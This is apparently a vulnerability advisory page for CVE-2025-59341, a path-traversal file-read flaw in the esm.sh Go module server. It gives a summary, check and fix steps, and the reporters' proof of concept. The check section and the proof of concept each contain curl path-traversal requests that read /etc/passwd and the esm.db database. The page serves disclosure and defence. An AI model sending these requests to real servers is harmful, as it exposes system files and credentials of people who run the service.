---
id: "CVE-2025-59341"
kind: "vulnerability"
aliases: ["CVE-2025-59341", "GHSA-49pv-gwxp-532r"]
title: "esm.sh has File Inclusion issue"
severity: "high"
cvss: 7.7
epss: 0.01636
exploited: false
status: "open"
category: "package"
products: [{"name": "github.com/esm-dev/esm.sh", "fixed": [], "affected": "<= 136", "ecosystem": "go"}]
ecosystems: ["go"]
tags: ["cwe-23", "esm.sh", "go", "javascript", "package", "self-hosted"]
not_affected_if: ["default-config", "managed-hosting"]
published_at: "2025-09-17T18:15:53+00:00"
first_seen_at: "2026-10-29T02:14:31+00:00"
updated_at: "2026-10-29T02:36:48+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-49pv-gwxp-532r", "first_seen_at": "2026-10-29T02:14:31+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59341", "first_seen_at": "2026-10-29T02:36:48+00:00"}]
---

# esm.sh has File Inclusion issue

esm.sh, a Go service that serves npm packages as ES modules, does not strip '..' from request paths, so a crafted URL makes it read and return files from the host filesystem. An attacker can reach files such as /etc/passwd, configuration files, environment files or the esm.db database, which can leak secrets and credentials.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- go:github.com/esm-dev/esm.sh affected <= 136 fixed ?

## How to check

- Check whether the esm.sh server binary or `go.mod` pins `github.com/esm-dev/esm.sh` at a version `<= 136`.
- Send `curl --path-as-is 'http://<host>:<port>/pr/x/y@99/../../../../../../../../etc/passwd?raw=1&module=1'` and see whether the response contains file contents.

## Fix

- Upgrade esm.sh to a version newer than `136`; the fixed version is unknown from the sources.
- Until patched, block requests containing `..` in the URL path at a reverse proxy or move the service behind an authenticated gateway.

## Timeline

- 2026-10-29T02:14:31+00:00 ghsa https://github.com/advisories/GHSA-49pv-gwxp-532r
- 2026-10-29T02:36:48+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2025-59341

## From the sources

## Summary

A Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources).

**Severity:** High — LFI can expose secrets, configuration files, credentials, or enable further compromise.
**Impact:** reading configuration files, private keys, environment files, or other sensitive files; disclosure of secrets or credentials; information leakage that could enable further attacks.

Vulnerable code snippet is in this file: https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168

---

## Proof of Concept

1. Using this default config file that I copy from the repo, the server is running at  `http://localhost:9999` with this command `go run server/esmd/main.go --config=config.json`


```json
{
  "port": 9999,
  "npmRegistry": "https://registry.npmjs.org/",
  "npmToken": "******"
}

```

2. Trigger the LFI vulnerability by sending this command below to read a local file

```bash
# read /etc/passwd
curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1'

# or read the database esm.db file
curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../esm.db?raw=1&module=1'
```

<img width="3338" height="1906" alt="poc-image" src="https://github.com/user-attachments/assets/f3721e5d-a09c-4227-960a-35279ff52811" />


---

## Remediation

Simply remove any `..` in the URL path before actually process the file. See more details in [this guide](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)

## Credits

- [Ai Ho (Jessie)](https://github.com/j3ssie)
- [CL Yang](https://github.com/A11riseforme)

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_